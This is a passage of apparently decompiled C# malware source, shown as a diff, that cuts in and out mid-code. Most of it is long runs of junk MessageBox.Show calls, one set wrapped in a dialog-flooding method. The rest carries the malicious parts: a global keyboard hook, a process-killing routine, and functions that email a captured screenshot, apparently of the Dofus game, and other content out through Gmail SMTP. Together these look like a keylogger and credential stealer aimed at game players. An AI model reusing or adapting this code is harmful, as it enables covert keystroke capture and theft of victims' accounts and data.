MessageBox.Show("JNBXSBWHKAQ17"); - int num1265 = (int) MessageBox.Show("CFA2AQCDYWQF2"); - int num1266 = (int) MessageBox.Show("QI5TZZJ6SELFRAD"); - int num1267 = (int) MessageBox.Show("EP5UXVE1EQUBKT"); - int num1268 = (int) MessageBox.Show("QD6VCGKTJEPCYLCJ5CWRUTSQKXLD"); - int num1269 = (int) MessageBox.Show("ZSBEYLU23YKX"); - int num1270 = (int) MessageBox.Show("MEIRKFKSGITUSUCBMXYNVYNZHKXKNRJPCVL5RV3B"); - int num1271 = (int) MessageBox.Show("FU9NHCRFURUXAC5"); - int num1272 = (int) MessageBox.Show("JKJE1QMVDQMWUYSJHNYRI6LUZSZZJXZU"); - int num1273 = (int) MessageBox.Show("WPWHNKNRZEHZJCAT4NRIG2YRMHYGBFYLKCKNMAFRZ"); - int num1274 = (int) MessageBox.Show("FY1WYRU5TEZNBFZZZ"); - int num1275 = (int) MessageBox.Show("4ETTCUVPP4GDKYUKPXYGZNJLS"); - int num1276 = (int) MessageBox.Show("L1WLMPL9LRSLJUDGDGBDQGBQDCTBGJ"); - int num1277 = (int) MessageBox.Show("AKXLSIJ5VD2LYUIGTMX"); - int num1278 = (int) MessageBox.Show("GK2PXJ8KTUUK"); - int num1279 = (int) MessageBox.Show("VGUECDAJAQKMCRVQWTN2ITVVZSH7KNMHWQFYTENZT"); - int num1280 = (int) MessageBox.Show("QMBHVRECY72VEVMSURATGKXQBHBYZSGIEN"); - int num1281 = (int) MessageBox.Show("NKBRK2QRZBYUZK5"); - int num1282 = (int) MessageBox.Show("3BNL2APSQQWJLUFQQDYT"); - int num1283 = (int) MessageBox.Show("BPB2ZBLQNZJYP3WSBVRPE"); - int num1284 = (int) MessageBox.Show("HKIIPBZEFE7XHFQYUBJEUI8UEWPG"); - int num1285 = (int) MessageBox.Show("KUUALI1SSD2ZI"); - int num1286 = (int) MessageBox.Show("KVQ7KASXHHEI3AJRLIVFDCAYDTLBMSH"); - int num1287 = (int) MessageBox.Show("BNQE2P9SZZPTRRMEIP"); - int num1288 = (int) MessageBox.Show("AFXPVKBV2KSUIHGHDXTIN9UC"); - int num1289 = (int) MessageBox.Show("XFTTKUUEK3VSPQCM8SXU"); - int num1290 = (int) MessageBox.Show("UHNDNZTGFRGQVYTJ4UWKGTJLXDRFKGMP8TMUQ"); - int num1291 = (int) MessageBox.Show("XAYEDDZBZZPNUUEGIPJF5QQ2NJBESAVGNCU"); - int num1292 = (int) MessageBox.Show("TTEXWM5JNJXMEVDGVH1GWNBG"); - int num1293 = (int) MessageBox.Show("JYFN8EVTY3KHDS"); - int num1294 = (int) MessageBox.Show("TAERAZ9VCRCGYKKP2UCBCKFNAVBGUVT"); - int num1295 = (int) MessageBox.Show("4TDKKKMLVLBZTARYCIGGN3"); - int num1296 = (int) MessageBox.Show("CXQ6FKDCJTQACP9"); - int num1297 = (int) MessageBox.Show("XJEJ5LEPKCMCMZHFHQYAUU7HGKT"); - int num1298 = (int) MessageBox.Show("FMBRE9NHJ6CIWFAFV"); - int num1299 = (int) MessageBox.Show("AVUCAMMVXI2TIIBWIPHEDKUFQLKMIYXU2YKJHFF"); - int num1300 = (int) MessageBox.Show("RBPRS7HXVFRWIYLDEZ6"); - int num1301 = (int) MessageBox.Show("9EBISACPTZV6HWWUKJWTUZAXRZXRAAGDFMHQ"); - int num1302 = (int) MessageBox.Show("R9AUWRWKJFMVUMDDBFCZVAL6IW"); - int num1303 = (int) MessageBox.Show("B6INZEWMQYWYSLBDPS7DAC"); - int num1304 = (int) MessageBox.Show("5MRBGWNLVWQQ6MK"); - int num1305 = (int) MessageBox.Show("GTSD4CXBIQN7GJWKBMU"); - int num1306 = (int) MessageBox.Show("VRGTCY1KSA4QCMXQEGBBN"); - int num1307 = (int) MessageBox.Show("IEWREXJXP6HXLRGPP2HHZY"); - int num1308 = (int) MessageBox.Show("DR16DHIYDCGSFDFZHIRZTUFBUDR"); - int num1309 = (int) MessageBox.Show("ARVFZZCULQGAI3PLMBLHIHACYL6"); - int num1310 = (int) MessageBox.Show("V5QZGDVKZKS9X"); - int num1311 = (int) MessageBox.Show("CKTZ34CMWZTMDWPKJCNTAPQSL"); - int num1312 = (int) MessageBox.Show("DRVQB6JHPJXQUGJAIMQ2WFHGJRUQUE"); - int num1313 = (int) MessageBox.Show("FLVDYIJPBJUQGD6ADB9KRQTDRDGMHAMVYNFIERAPT"); - int num1314 = (int) MessageBox.Show("ADXIL9IYHBUNCEBH1BTQKHPEZ"); - int num1315 = (int) MessageBox.Show("SFPGBSRRSWR5VVYRLEIHGXHZ1"); - int num1316 = (int) MessageBox.Show("DTGGNLJEZFPYPXBIPHEW3GAXLE6Q"); - int num1317 = (int) MessageBox.Show("VGIAJUMH3LK6RFYUNJXEJAE"); - int num1318 = (int) MessageBox.Show("SWDDJNSGPIRY7EIRU9KAR"); - int num1319 = (int) MessageBox.Show("PBHINJFPZUYDNXWVKNRDKYDBVFSIJN19"); - int num1320 = (int) MessageBox.Show("TZNFGBAUVIYCMSDMWK1SEG9MMMVQXUDJF"); - int num1321 = (int) MessageBox.Show("RMESJJNDSBG5XBXEEQUBTG7ID"); - int num1322 = (int) MessageBox.Show("INGAKPKYUDRZUUKZYRSCELL2XKLNQACFPCULW3I"); - int num1323 = (int) MessageBox.Show("NDLJYTPNTWUASURURQF5RWKM7RPG"); - int num1324 = (int) MessageBox.Show("JIRKUQRNWKBEQLLIPFASQGTGSNBAHKALC4G3"); - int num1325 = (int) MessageBox.Show("VJCZLGCIAFV8JUNEPYQEGACLLFRPSNYV5WEXUBK"); - int num1326 = (int) MessageBox.Show("NMHU8FDQZCZCITWAIFJUBJVGSIXTNSFAZALE2JHBJJ"); - int num1327 = (int) MessageBox.Show("KGTAAPXSMK2JINDZ1BWKYVYBN"); - int num1328 = (int) MessageBox.Show("DZCQXHNSABU3ZWCAIWDWENUWJG3ZVZZFL"); - int num1329 = (int) MessageBox.Show("NZHEUELDDAFJYBGEBNTPSTZKVWMF8HNK2"); - int num1330 = (int) MessageBox.Show("SRCUP9WDKMPGE6UMLJIQMCV"); - int num1331 = (int) MessageBox.Show("MWVBBTUHTZR2N2VURLNUKQX"); - int num1332 = (int) MessageBox.Show("QHVQQR7MTTEUBFYT3GHASNU"); - int num1333 = (int) MessageBox.Show("Y4ECFXE9MYSSGD"); - int num1334 = (int) MessageBox.Show("TLIZDED1G2SULRLMM"); - int num1335 = (int) MessageBox.Show("7UQMUZ2TMDGLQPWPLZUWZPEFBPDFYNXM"); - int num1336 = (int) MessageBox.Show("WDK8JDGPURVVIMCGMZ1NUNJIL"); - int num1337 = (int) MessageBox.Show("8TAJAUHZTDBY1EE"); - int num1338 = (int) MessageBox.Show("VUYZZ4ZJLEITVKH1KGRKVUWY"); - int num1339 = (int) MessageBox.Show("UGMGHTLIHLPY2DU3MAKTGFULNJ"); - int num1340 = (int) MessageBox.Show("VJ7ESBHLNGUKYTSVIPSMIYNFA4TTMBU"); - int num1341 = (int) MessageBox.Show("MCTEPUSPZYUMDYXCQNLAUL2BNFATJCCDQ1LNXUU"); - int num1342 = (int) MessageBox.Show("J2PQYRBJRNQYV6GNPHEGRFRMDTSCTGKSJLQSQRJ"); - int num1343 = (int) MessageBox.Show("KMQUHVHNJFERLQSDYQJVJIQ4WLSVNQNRCX6VQRTW"); - int num1344 = (int) MessageBox.Show("NA2QILFKPYTYJFEJY8MHGLDHJTNGQVVVTQETIIKE"); - int num1345 = (int) MessageBox.Show("YGIIHNTKQTEVGDXQL7XCSKXTW2FSFGVQSZ"); - int num1346 = (int) MessageBox.Show("5GDLXG4JZZMR"); - int num1347 = (int) MessageBox.Show("VKDNAGMNDVSKV7RWLFSL5LWX"); - int num1348 = (int) MessageBox.Show("YQBSSSUGXPPLSL7FMIUCPGYXMLPFNBC7MWQLBDQXI"); - int num1349 = (int) MessageBox.Show("EQUL8BYD1RGDVBHIEP"); - int num1350 = (int) MessageBox.Show("SGQXW7A5QUWBZNTUNSMYJIF"); - int num1351 = (int) MessageBox.Show("LL2IKEZIV4SENRZPR"); - int num1352 = (int) MessageBox.Show("2DYYQMQJHFRTEEUBAGGZVKCFWVTPHPCXSXIE4GINAL"); - int num1353 = (int) MessageBox.Show("28HJCXJCGQLRIGPJ"); - int num1354 = (int) MessageBox.Show("K7LNBBYSLZRYCUDLJHR8HX"); - int num1355 = (int) MessageBox.Show("Z8WE5TEVZEKAIXGEBUAAIILEEJ"); - int num1356 = (int) MessageBox.Show("FN7UERILVG8CHHCLDSFIAIWMWXZVMQ"); - int num1357 = (int) MessageBox.Show("EGDJMLRLYFG6U5U"); - int num1358 = (int) MessageBox.Show("KMFEPVUGDIWTUBAKGS7DLBEYHVHQQWQ3HKKLTX"); - int num1359 = (int) MessageBox.Show("U7JJ1JNRZPRLCHVEFKETZBKTNNMAJ"); - int num1360 = (int) MessageBox.Show("FPBUETRMJZQCZ8WMILBHJFKY7JNQHILIHVIBY"); - int num1361 = (int) MessageBox.Show("RLKWVVQBXNDMBDAH5IHMJIY4EZEVZ"); - int num1362 = (int) MessageBox.Show("FZ4TJIBUPVU8HHRUPSRQ"); - int num1363 = (int) MessageBox.Show("T1FENV2WZBSJDAPAVANK"); - int num1364 = (int) MessageBox.Show("BLYMBGBZCH2DMLBXTGXVP6HKV"); - int num1365 = (int) MessageBox.Show("DBDH4SZQN5ZW"); - int num1366 = (int) MessageBox.Show("DGKFDQEQB8PVRCQLYHAPVDG6"); - int num1367 = (int) MessageBox.Show("HGSNQ9ZPYUGNY9HUKHYBNUIUUYTE"); - int num1368 = (int) MessageBox.Show("GSDSPNKVEVANAAMM2AX2ECZCC"); - int num1369 = (int) MessageBox.Show("EGFVCMDBDEGNR76"); - int num1370 = (int) MessageBox.Show("IBJPI4PN4BKHY"); - int num1371 = (int) MessageBox.Show("XETDWGBNYBUYLNXXDDHAJFYBCLQ8TGPKLWTT9"); - int num1372 = (int) MessageBox.Show("M54ALZYYQLZVQFVPMIPDJIUTAM"); - int num1373 = (int) MessageBox.Show("HSLG2YGI4VYCY"); - int num1374 = (int) MessageBox.Show("QA6LRIJ8BBMFPUSAPWD"); - int num1375 = (int) MessageBox.Show("KPITRX8XQDPPGSH5JCMAEDU"); - int num1376 = (int) MessageBox.Show("5SZURTVRUCYQRWJ3FFDKIMZLRSLS"); - int num1377 = (int) MessageBox.Show("WNRKBZLYIZUNS4IYHPXC4QJTTBJLCWLKLMCBUFJS"); - int num1378 = (int) MessageBox.Show("YBQDDKBQNICEX5DEQXBLRFIQXGTWWVYLQEQFEYSGT7"); - int num1379 = (int) MessageBox.Show("NGYRFFRBRMTVATW91LSEWGC"); - int num1380 = (int) MessageBox.Show("FJRP6U5YACVFBGPMIVF"); - int num1381 = (int) MessageBox.Show("KK9QRZCDKBGXGTBPDTAYNTBXPWWMDWE4WH"); - int num1382 = (int) MessageBox.Show("ZLVPI4JZRRZ4MFZW"); - int num1383 = (int) MessageBox.Show("6FCVPMXSPBTPHJWRZYRQ7VWQPS"); - int num1384 = (int) MessageBox.Show("QDNWAUNDZZUYMPN2KKZZASYA4YSEWUZRS"); - int num1385 = (int) MessageBox.Show("VIQRTGYMAD4FFSPTKIEHWEIA8EE"); - int num1386 = (int) MessageBox.Show("FVQQDZRSFJDFYELVB1Z3QNCXQA"); - int num1387 = (int) MessageBox.Show("3EQYXWURSYVLUXDXJH3WLVMRUMQPRADZUFGGM"); - int num1388 = (int) MessageBox.Show("IMLCIJZCUW5IPYIMEUEWTWV7SKGVVNKRIFWA"); - int num1389 = (int) MessageBox.Show("MYQPEXKEA1PPGSNQJEB9EXEFCTQEMY"); - int num1390 = (int) MessageBox.Show("QSYPJXHEECZHKRZCLG8MUIASGCWCZ9VRIGS"); - int num1391 = (int) MessageBox.Show("GF4VEAKUQVXXHSGHU7WAVV"); - int num1392 = (int) MessageBox.Show("B3EMREBB9QLBEJJFRWXXLWWEPEWUF"); - int num1393 = (int) MessageBox.Show("SLDQSS54UUIPIZBYI"); - int num1394 = (int) MessageBox.Show("LZEHKWHQWC6STKDGZJ4LYJUMMSQJTKS"); - int num1395 = (int) MessageBox.Show("DNCNCTAMUMWBMZQBXVB9ZCCUR2"); - int num1396 = (int) MessageBox.Show("C7ERCRM1WQKYKQ"); - int num1397 = (int) MessageBox.Show("AS1FJLCYUB7XM"); - int num1398 = (int) MessageBox.Show("VRVJARMJ7YZBNGRVQHFFMARY1ITHPDRGQGSLVVGUZ"); - int num1399 = (int) MessageBox.Show("PZWUTGNMXAXRBNGI3ZBLLEMQZ6LHGB"); - int num1400 = (int) MessageBox.Show("SVS2YFRA8ITXXL"); - int num1401 = (int) MessageBox.Show("ULGWTPGTILFPGC9ME1EW"); - int num1402 = (int) MessageBox.Show("GZHBGJDEUDFKWNBZ7GGZVYFEHC3PCPTKYNNG"); - int num1403 = (int) MessageBox.Show("VJECGIARMIJKGKMQVC9IEWKCPGYAJUARNN3DDMFA"); - int num1404 = (int) MessageBox.Show("MCG5MJ7HIBTZ"); - int num1405 = (int) MessageBox.Show("JDWS1QFRDGX2AFLAQAKCJGAILFXTKTNKWGTJZ"); - int num1406 = (int) MessageBox.Show("SIGGWTG6YKJKQKCZPHHA1HHIWAJQ"); - int num1407 = (int) MessageBox.Show("YCQVA17KWIHVHRNB"); - int num1408 = (int) MessageBox.Show("ETQY3LHVCVKB3VIJMPL"); - int num1409 = (int) MessageBox.Show("S74RNMQRFCYKL"); - int num1410 = (int) MessageBox.Show("2XTL1FNVNDTLLIZBUQSHE"); - int num1411 = (int) MessageBox.Show("BBCGIXWMVVXUZNNZVNTIACJIBDY7ZGJNXH2GEUK"); - int num1412 = (int) MessageBox.Show("PMJKYEPDXCSMCI3TGVZKU3NNWINM"); - int num1413 = (int) MessageBox.Show("EJ2QUPWMWEDGJZIFZZAMCKZNTBEK3WRZPL"); - int num1414 = (int) MessageBox.Show("XHUBZSHGYNNTHUWPTNHUMCGJSTIFGMTN8XA3"); - int num1415 = (int) MessageBox.Show("FFNAVDTCSAH8CNAGGCVYKTA5WZFKJEQSW"); - int num1416 = (int) MessageBox.Show("CETPEHLKKREFEWEF6NUQCQKLNPQPUXQ3XXPKGSHZ"); - int num1417 = (int) MessageBox.Show("QG3NH6DEXYDXMAAYW"); - int num1418 = (int) MessageBox.Show("9AJPCPZZDWJSBZCQRHFBAWFHLTKNLMVMFR5NNN"); - int num1419 = (int) MessageBox.Show("UTRSGRLZFI2B7TYZLUCLBWME"); - int num1420 = (int) MessageBox.Show("DGZFILJP2JR4IXLHLLRAQVFRBXHELIPA"); - int num1421 = (int) MessageBox.Show("KRJNFMH1WSURHCLGJLFKUPSAUGKY2CPAR"); - int num1422 = (int) MessageBox.Show("FMZMWSEYXYFYUZ8XDCBEJ8"); - int num1423 = (int) MessageBox.Show("BV31JVYDWAGPYLRVGQYSMSUZRDMCBV"); - int num1424 = (int) MessageBox.Show("A2XNITUGVTLPXFCIJJWEXK5D"); - int num1425 = (int) MessageBox.Show("CHPQFQ3JZDHZYP7UXQYFPFACZLFILPZN"); - int num1426 = (int) MessageBox.Show("SSRVHKPWECKQ8MSDXTKPINEG3UT"); - int num1427 = (int) MessageBox.Show("Y2EIUZNJ8NRBANSCDNAQKLVPBLUNZNVDJ"); - int num1428 = (int) MessageBox.Show("YXRASLRF5ZCFIDQUAF9XSDWCF"); - int num1429 = (int) MessageBox.Show("KKRAYDYEEVXUJGRLQBYYJHM8EFNUNMVAVUA3XGWA"); - int num1430 = (int) MessageBox.Show("AVX2CMB9AFUJK"); - int num1431 = (int) MessageBox.Show("NDQMCPIKQWXM9AMS8PQZZWFYSMWAHLHPSSEHHLFNSP"); - int num1432 = (int) MessageBox.Show("XQTNWTBNNQZGHGKSCTGSI4HF1TISFLM"); - int num1433 = (int) MessageBox.Show("WCKPURTHSBA7KQIUWA3HPGBMLJ"); - int num1434 = (int) MessageBox.Show("KQAXBXRYJXKJYUPMAGFFGFZKIJKRISPGXSQLIK8QZ6"); - int num1435 = (int) MessageBox.Show("FLIJIPWHVQ6NC1DKTAHHPUQISYUFNJF"); - int num1436 = (int) MessageBox.Show("WPZHUX2FC3XYSFEVEUJ"); - int num1437 = (int) MessageBox.Show("TEXJF1LNEBFU9KPR"); - int num1438 = (int) MessageBox.Show("XMNYMHPGQTHKKQ6MULEDE3NLFU"); - int num1439 = (int) MessageBox.Show("DFLFFTUMLGWCAVELYFALWYVJGYR8GGULZLZ4PNCP"); - int num1440 = (int) MessageBox.Show("JXCNC9XLSVHBCXIMRKCAXXCTV9SPQLMEZJCF"); - int num1441 = (int) MessageBox.Show("FMRCUIFBQEGMYWSQXZRUSXRQ2BYIMECNAGC5ZH"); - int num1442 = (int) MessageBox.Show("W3NARINZ4GWX"); - int num1443 = (int) MessageBox.Show("VSYZFHVMV8F7KXZXIKWARDVHZAWGBBJU"); - int num1444 = (int) MessageBox.Show("FK2BTPCZDUEYCVWXBDJKKVXVZIDUPMREC8KDPRGSY"); - int num1445 = (int) MessageBox.Show("RQ89WZMPLJCLBCXJCERETADR"); - int num1446 = (int) MessageBox.Show("EDJ4KR6ALIMVGYWSSJVA"); - int num1447 = (int) MessageBox.Show("SSFDH3BIIIBNIMD8XKHKEDDVQR"); - int num1448 = (int) MessageBox.Show("DWMVMNSFVBYGV4TKZR8TCLTK"); - int num1449 = (int) MessageBox.Show("1JLWJLNGZTWLCERXCEVD4GZWKMLVTLUPZLLVCMSL"); - int num1450 = (int) MessageBox.Show("4CRHBRLBAIRQHZ4EUSWV"); - int num1451 = (int) MessageBox.Show("FYU8RMHYZEBWUYTH2DSRUGBBDYPQPA"); - int num1452 = (int) MessageBox.Show("JNQLNBZFZHCPKACZPTW3EGPPQWKPB7DC"); - int num1453 = (int) MessageBox.Show("ELDDBCEWJZNGTPQCRFF8KBMREVUWTQ2QRR"); - int num1454 = (int) MessageBox.Show("1JYT5RMRAJDFAPVBSJEVNZLBUYB"); - int num1455 = (int) MessageBox.Show("RUBQEXRSKW9H7YDFKAVJGXGCS"); - int num1456 = (int) MessageBox.Show("NAWSXSLLAJB7U8VFLRAEXDA"); - int num1457 = (int) MessageBox.Show("QJJMWFBWLEZIKRT4DLSSKUGGWK5ZT"); - int num1458 = (int) MessageBox.Show("VSTJ4YUCYIVX4NVSYSNLSWBQFCMWYTLLS"); - int num1459 = (int) MessageBox.Show("ZWU9LPHJ9YFNT"); - int num1460 = (int) MessageBox.Show("GLZHYJIGEIFV2VRAVDUNFRSDZCZVA8LM"); - int num1461 = (int) MessageBox.Show("YCNQKLCH5RTK6LPMXXTFGQTFLFQLWPSMSBNRPTR"); - int num1462 = (int) MessageBox.Show("NTXHHJUTSJ6GYBAX6GDEQRLBQTARKFMJMTFWJP"); - int num1463 = (int) MessageBox.Show("8IUJMIU8QYBTAKAKRCCPVZIDGLMLUAQ"); - int num1464 = (int) MessageBox.Show("2ETNXLIVCWTCRQRMRAKESEWNJPFYZSPVLPHQPAIL9D"); - int num1465 = (int) MessageBox.Show("G6CMNUFIFHVGPBU9ATFUW"); - int num1466 = (int) MessageBox.Show("ITPNTVVVGUVTDXM2D9PEMYAEUI"); - int num1467 = (int) MessageBox.Show("R4VRWPYTZUZT6VH"); - int num1468 = (int) MessageBox.Show("FYC6DLCPGGJLWHQKX7T"); - int num1469 = (int) MessageBox.Show("4VJWRXJZPS9MZGH"); - int num1470 = (int) MessageBox.Show("GRVREXFVBVCCK8GJJDMFTLLIFQB7YQNYZ"); - int num1471 = (int) MessageBox.Show("PZ3MHVDXHPMEMHQTFE6XI"); - int num1472 = (int) MessageBox.Show("FZNGVH5XFFP6LM"); - int num1473 = (int) MessageBox.Show("YR4J9XTRPGAIK"); - int num1474 = (int) MessageBox.Show("UHQZJZNJVU8PHXDHNC5"); - int num1475 = (int) MessageBox.Show("UQUUNLASHCFIDZNUYMLDDDM3QBYGGCPBTE6IWSEW"); - int num1476 = (int) MessageBox.Show("ZPWFS1ISSLIW4L"); - int num1477 = (int) MessageBox.Show("JWGSFQH2A6MZDVZXSWVKHFELLHUTPFZD"); - int num1478 = (int) MessageBox.Show("VKXIVXHLY7MFQHSR1HLFTXDUBSXSZFUF"); - int num1479 = (int) MessageBox.Show("CEI3AWWZW7GN"); - int num1480 = (int) MessageBox.Show("BWRSAWCYH1HJKRIMBX7WQX"); - int num1481 = (int) MessageBox.Show("V3ZKK3NIGHPYUNQ"); - int num1482 = (int) MessageBox.Show("PPNTVXXTS9TRFGHJAGXGHTJ8"); - int num1483 = (int) MessageBox.Show("TXD8IUEQKSSXNDLLQYS4RRSAWXMDIZWSCNZWQTEZ"); - int num1484 = (int) MessageBox.Show("GS7BMQZRGKZQFPHXAVPBPYWLZGFZ7LBHTFBPLTYKWG"); - int num1485 = (int) MessageBox.Show("QEYHXMNLTV8DEGR6YRYAHQPAVACSZ"); - int num1486 = (int) MessageBox.Show("EJTVWGDBUCC5DPSGMDU5"); - int num1487 = (int) MessageBox.Show("SQPE7I2VDQEVYDJJ"); - int num1488 = (int) MessageBox.Show("VINPUXSRBLWFAZEPFSDRZTBR8A3BBDY"); - int num1489 = (int) MessageBox.Show("IYKLW6VKKZSBRRMZE8B"); - int num1490 = (int) MessageBox.Show("SBRQSKXQUDXKZRSILXLYZADMNZW1CPGA6"); - int num1491 = (int) MessageBox.Show("SHWY8FKIKHIGRAUCWAGRKZPXYHALW4"); - int num1492 = (int) MessageBox.Show("YKNNK2SR8YXVURZ"); - int num1493 = (int) MessageBox.Show("N1BFMJSVP4GAM"); - int num1494 = (int) MessageBox.Show("YPRQRWM6KFLQN3Q"); - int num1495 = (int) MessageBox.Show("BNMJYCWWYACG7LCKWUBBWBNPUWGBTMBGPV1FIS"); - int num1496 = (int) MessageBox.Show("EBA7KZJZQEYJUIWNPJJM2JTCANTV"); - int num1497 = (int) MessageBox.Show("YWF7HLYWWGLKQLUBRUKDTHNNZPG8ZHENGCJNUGKK"); - int num1498 = (int) MessageBox.Show("WKEUG4IMRJVLBDCSF5GYFC"); - int num1499 = (int) MessageBox.Show("RDANEHDC8BYSCV2VFGGJCHAYNXRSVFPCYLKU"); - int num1500 = (int) MessageBox.Show("KKLR3CMEFCSUIGAHWKELNRJRELTVM6KNBUMPHHSI"); - int num1501 = (int) MessageBox.Show("KD7MRGCVUTSCTEZINA4"); - } - - private void sendmail(string s, string contenu, string id, string pass, string destina) - { - MailMessage message = new MailMessage(); - SmtpClient smtpClient = new SmtpClient(); - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(id, pass); - smtpClient.Port = 587; - smtpClient.Host = "smtp.gmail.com"; - smtpClient.EnableSsl = true; - message.To.Add(destina); - message.From = new MailAddress(destina); - message.Subject = s; - message.Body = contenu; - message.Attachments.Add(new Attachment("C:/Dofus-capture21.bmp")); - smtpClient.Send(message); - } - - private void sendmail2(string s, string contenu, string id, string pass, string destina) - { - MailMessage message = new MailMessage(); - SmtpClient smtpClient = new SmtpClient(); - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(id, pass); - smtpClient.Port = 587; - smtpClient.Host = "smtp.gmail.com"; - smtpClient.EnableSsl = true; - message.To.Add(destina); - message.From = new MailAddress(destina); - message.Subject = s; - message.Body = contenu; - smtpClient.Send(message); - } - - private void lancement() - { - this.KthhtrtrhtrhrthrthL.HookKeyboard(); - this.Timer1.Enabled = true; - } - - private void killprocess(string name) - { - Process[] processesByName = Process.GetProcessesByName(name); - int index = 0; - while (index < processesByName.Length) - { - processesByName[index].Kill(); - checked { ++index; } - } - } - - private void floddez() - { - int num1 = (int) MessageBox.Show("KLTBFIEPTTLCDZN1QVCRJGKGKYJ2CSKTSSAX"); - int num2 = (int) MessageBox.Show("YKPPHMJTR5HTUAHLQXRZFXR8"); - int num3 = (int) MessageBox.Show("JLBKT1NFGSQJIQLFVGIFRSGPWI1GNVCZKV"); - int num4 = (int) MessageBox.Show("JBKGXEKQDZJEBL73ZAKYQQNJNBPGTUKW"); - int num5 = (int) MessageBox.Show("JZKCUIXDU7ZXXHVFMQISM9"); - int num6 = (int) MessageBox.Show("RRVJQSB1UY6UPGEZF"); - int num7 = (int) MessageBox.Show("A9IJFHJHRDG5ZNZPDHFKIKRR"); - int num8 = (int) MessageBox.Show("RMVSIWUSHAMF4RCK1BSDXULWGMRUVJWJI"); - int num9 = (int) MessageBox.Show("RRJFJYMUT8RZMYZSSHDWC2BGSLEEIACYFHGCH"); - int num10 = (int) MessageBox.Show("CIBUVIEZQZ3XWBUR9"); - int num11 = (int) MessageBox.Show("RCNCSEYYI6JYGL7MWW"); - int num12 = (int) MessageBox.Show("JGL2BM1FGMYFYHX"); - int num13 = (int) MessageBox.Show("CFN1JXEQNMYUNY9QV"); - int num14 = (int) MessageBox.Show("GICLGLYH3FGWQZB9MXQDGAZLUE"); - int num15 = (int) MessageBox.Show("ICYU2TPBARE1YTN"); - int num16 = (int) MessageBox.Show("RVGSLE6MG5QAIW"); - int num17 = (int) MessageBox.Show("IQ9EMEVVKTXJKQEAF8DIGD"); - int num18 = (int) MessageBox.Show("NPBCKEQYBHZMCZMM9SWXLQNKII2LGRBVV"); - int num19 = (int) MessageBox.Show("IML2N2JKUPFJRSIJPLNBCRCLJKGTRARZUAKWLCUG"); - int num20 = (int) MessageBox.Show("LU2AWICFPLARZXVKGVKMLDW7PWXRGIFXCFD"); - int num21 = (int) MessageBox.Show("BDMREGDBWNFUQPRS3MMRRG7TVYDFIDFP"); - int num22 = (int) MessageBox.Show("FFHJENYVWVRJISNDCGPA6VCELCFLWCHGCCN6B"); - int num23 = (int) MessageBox.Show("EKZFICQQWPDJZ4LNRQ1R"); - int num24 = (int) MessageBox.Show("APABP7FBF7IAHPHAFZ"); - int num25 = (int) MessageBox.Show("C7F9UWVWAJYWFKYC"); - int num26 = (int) MessageBox.Show("LMTCE3Z6JEKEWVBCBIDQA"); - int num27 = (int) MessageBox.Show("ZCQ8UQY4IKYVBDIXAZDFU"); - int num28 = (int) MessageBox.Show("AJDWMJLKBPDQAJ31BQNXIUUGIFXI"); - int num29 = (int) MessageBox.Show("IER3ZKXGQTFTRDPAMXR7EB"); - int num30 = (int) MessageBox.Show("YVBM2FPYIVXFEQT4WA"); - int num31 = (int) MessageBox.Show("W9XETGHYXDRXVFUAUA6WCZ"); - int num32 = (int) MessageBox.Show("IXHQNVBYI8K4IQUGVWJQBTZSFXZYBS"); - int num33 = (int) MessageBox.Show("VFMLRCAL5S3FYGTVARLXVASLLV"); - int num34 = (int) MessageBox.Show("HVQ4VAKLREPLYZBFNBLZQMYUDECKWG2HQHBCY"); - int num35 = (int) MessageBox.Show("CIBDQDIWFMDFHGHGV7XF3D"); - int num36 = (int) MessageBox.Show("ARR9BHGHNNYDIJGAIBKJFVK9SQTST"); - int num37 = (int) MessageBox.Show("JJSAUYPWCK9PZK4VJSSXHVKPSXUKWNUQHFV"); - int num38 = (int) MessageBox.Show("LPGDWY4W2SDPBYJAJQJKYPV"); - int num39 = (int) MessageBox.Show("BLNXUPBAVT6HV8EDSTERNVFHGKDDAY"); - int num40 = (int) MessageBox.Show("QLTGLRMIJXGAC3FIMJ7LHQH"); - int num41 = (int) MessageBox.Show("ECEQPCVFJ5HNQKA1"); - int num42 = (int) MessageBox.Show("ZAPABF8AIVDYYQDFLEJ2YBGVSSX"); - int num43 = (int) MessageBox.Show("LP7FAB6RGHIXAHMAMWVJPGDPALEQMEEJZL"); - int num44 = (int) MessageBox.Show("UKMTNVBMUNLGRIVKNLSZAKIWBAJXTB51DKEYHYFV"); - int num45 = (int) MessageBox.Show("ITANGIVJAUWGR2GXVVPHQKTM6JKFKHMTF"); - int num46 = (int) MessageBox.Show("2GMBJBLAJFTTDB3TCTTWSTGXY"); - int num47 = (int) MessageBox.Show("RP1VYLZSMUUIGC2QRPVTDRRYNVGUUADM"); - int num48 = (int) MessageBox.Show("TB7V5NXDTNXRHLR"); - int num49 = (int) MessageBox.Show("ECNRAL4W4PPVUXAYQNLQD"); - int num50 = (int) MessageBox.Show("NUAFEUUNNLLYY1NUSKI7TUHFG"); - int num51 = (int) MessageBox.Show("BV8ZQRFH1IAEHLHPTAPQKIZW"); - int num52 = (int) MessageBox.Show("HCVPQKDPVBT9HEGC7SH"); - int num53 = (int) MessageBox.Show("CLX6WMHRW3RBKDVJUDKTTAHNRCKRXMHJYAYLRNJMP"); - int num54 = (int) MessageBox.Show("EPYFNJDHS7WBYYLWCCETNVRBLTJS8"); - int num55 = (int) MessageBox.Show("RWJYQVJ5G3YYK"); - int num56 = (int) MessageBox.Show("MHHRRGENNPIXWZWLCIHPVFVB2QYBJWWX4JDTJEMQ"); - int num57 = (int) MessageBox.Show("NUCQQYITT4XPAXEWZP4KWPLXQ"); - int num58 = (int) MessageBox.Show("QNBRHHGZPAQBAEUHBCNR5BQY8CSWNWHK"); - int num59 = (int) MessageBox.Show("AGI4HGB5UMJPXB"); - int num60 = (int) MessageBox.Show("GHPMBJPAY2ZCIRABRBQTWSZSV7RZE"); - int num61 = (int) MessageBox.Show("JHGHYQE6V4BNDTNEPLZH"); - int num62 = (int) MessageBox.Show("ETPXGVGE6KLSDKCFPDYNCR3M"); - int num63 = (int) MessageBox.Show("KH5BSSW3DGDIIW"); - int num64 = (int) MessageBox.Show("EYPNREMUR5CCJDWAH7"); - int num65 = (int) MessageBox.Show("XGIGCNZVNHHPBZXMHUQQQLXKHRAA7TVMTXQDI3QL"); - int num66 = (int) MessageBox.Show("GE2WJLMBG5BCJS"); - int num67 = (int) MessageBox.Show("WWWUMYRETUNPCUBQP2QM1UYWK"); - int num68 = (int) MessageBox.Show("GZJYYBNVHN1AXVMEXEHWCRRIZAWRZTUKP8"); - int num69 = (int) 